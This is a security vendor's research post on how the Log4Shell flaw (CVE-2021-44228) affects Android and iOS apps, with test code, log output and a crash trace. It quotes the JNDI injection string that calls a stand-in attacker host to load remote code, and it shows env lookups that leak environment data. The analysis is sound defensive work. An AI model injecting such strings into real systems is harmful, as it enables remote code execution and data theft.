Log4Shell and Its Impact on Mobile Security

NowSecure Research Engineering team has invested time and resources to determine what (if any) the impact of the log4j vulnerability may have on mobile app security. 

TL;DR: The risk of exploitation on client side mobile applications is very low, while the risk of exploitation on server side applications remains high. 

We recommend customers who use log4j remain vigilant and update all applications to be safe. We will continue to monitor this issue and will provide updated guidance as new information becomes available.

About log4j

The log4j vulnerability, CVE-2021-44228 is an issue affecting Java software that uses the Apache Log4J library for logging. Specifically,

  • If an attacker can insert a string containing (for example) $ {jndi:ldap://attacker.com/x}the logging output of an application using log4j
  • Then this string will be interpreted so that the application will fetch a Java class file from an arbitrary remote location and load it, allowing the attacker to execute arbitrary code

This issue affects nearly all enterprise software ecosystems to some extent, including mobile applications, but thus far the vulnerability appears to be low risk/priority for mobile. We've included details and caveats below and will continue to research the vulnerability's impact on mobile as the situation developments and more is known.

 

Android Applications (Client Side)

Log4j can be included in Android apps in a number of different ways. It is possible to include it directly as a dependency in the gradle.build file and this will allow the developer to use the same log4j API across desktop and mobile applications:

dependencies {
    implementation 'org.apache.logging.log4j:log4j-api:2.13.3'
    ...
  }

With only this single dependency the logger does not perform any of the ${...}lookups necessary for the existence of the vulnerability. The following app code and result in logcat are shown below:

 Logger log = LogManager.getLogger("L4JTEST");
  log.error("lookup: ${java:vm}");
... [main] ERROR L4JTEST - lookup: ${java:vm}

However, if in addition to log4j-apithe dependencies containlog4j-core, then the default lookups will be performed (or at least attempted).

dependencies {
    implementation 'org.apache.logging.log4j:log4j-api:2.13.3'
    implementation 'org.apache.logging.log4j:log4j-core:2.13.3'
    ...
  }

And the same Java code as above will result in:

... [main] ERROR L4JTEST - lookup: Dalvik (build 2.1.0, null)

confirming that the lookup is performed. However, Android is not vulnerable to the log4shell exploit shown above as it does not support JNDI, the functionality the exploit uses to load arbitrary class files. The log4j source code shows what other lookups are available, and the exception for JNDI on Android:

public Interpolator(final Map<String, String> properties) {
        this.defaultLookup = new MapLookup(properties == null ? new HashMap<String, String>() : properties);
        // TODO: this ought to use the PluginManager
        strLookupMap.put("log4j", new Log4jLookup());
        strLookupMap.put("sys", new SystemPropertiesLookup());
        strLookupMap.put("env", new EnvironmentLookup());
        strLookupMap.put("main", MainMapLookup.MAIN_SINGLETON);
        strLookupMap.put("marker", new MarkerLookup());
        strLookupMap.put("java", new JavaLookup());
        strLookupMap.put("base64", new Base64StrLookup());
        strLookupMap.put("lower", new LowerLookup());
        strLookupMap.put("upper", new UpperLookup());
        // JNDI
        if (JndiManager.isJndiEnabled()) {
            try {
                // [LOG4J2-703] We might be on Android
                strLookupMap.put(LOOKUP_KEY_JNDI, Loader.newCheckedInstanceOf(
                    "org.apache.logging.log4j.core.lookup.JndiLookup”, 
                    StrLookup.class));
            } catch (final LinkageError | Exception e) {
                handleError(LOOKUP_KEY_JNDI, e);
            }
        }
}

Despite having the try ... catch ...blocks this exception handling does not actually work and attempting to perform the JNDI lookup on Android will cause a fatal error and the app will crash as it will try to reference classes that do not exist.

AndroidRuntime: FATAL EXCEPTION: main
AndroidRuntime: Process: com.nowsecure.log4test, PID: 19065
AndroidRuntime: java.lang.NoClassDefFoundError: Failed resolution of: Ljavax/naming/InitialContext;
AndroidRuntime: at org.apache.logging.log4j.core.net.JndiManager$JndiManagerFactory.createManager(JndiManager.java:180)
AndroidRuntime: at org.apache.logging.log4j.core.net.JndiManager$JndiManagerFactory.createManager(JndiManager.java:175)
AndroidRuntime: at org.apache.logging.log4j.core.appender.AbstractManager.getManager(AbstractManager.java:113)
AndroidRuntime: at org.apache.logging.log4j.core.net.JndiManager.getDefaultManager(JndiManager.java:53)
AndroidRuntime: at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:55)
AndroidRuntime: at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:223)
AndroidRuntime: at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1116)
AndroidRuntime: at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1038)
AndroidRuntime: at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
AndroidRuntime: at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)

So, the arbitrary code execution exploit simply becomes a denial of service. However, there are other lookups that an attacker could use, though none of them are nearly as interesting or dangerous as jndi:. The most interesting of these are the sys and env lookups. A result of the env lookup is shown below:

Logger log = LogManager.getLogger("L4JTEST");
log.error("lookup: ${env:PATH}");
... [main] ERROR L4JTEST - lookup: /sbin:/system/sbin:/system/bin:/system/xbin:/odm/bin:/vendor/bin:/vendor/xbin

If an app were to store sensitive information in the environment or system properties this could result in sensitive data being leaked to the logs. From there, an unsecured analytics response could leak this information over the network. This is probably very unlikely in any real scenario, so despite the underlying mechanism of log4shell being largely possible on Android, there is little security risk associated with it. Additionally, most apps that use log4j are only using a wrapper that passes the entry along to the normal Android logging. This does not perform any lookups as the necessary log4j-core dependency is not present.

iOS Applications (Client Side)

Apparently it is possible to build iOS applications in Java Codename One: Cross-Platform App Development with Java/Kotlin but, in general, iOS apps will not be affected client side.

Server Side

The worst and most widely covered impacts of log4shell are on the server side where many legacy systems and services were built with Java. This vulnerability affects Google and Apple themselves as can be seen in the Attack Surface repository, so it is very likely that many app backends will be vulnerable as well.

We recommend customers who use log4j remain vigilant and update all applications to be safe. 

Comments

0 comments

Article is closed for comments.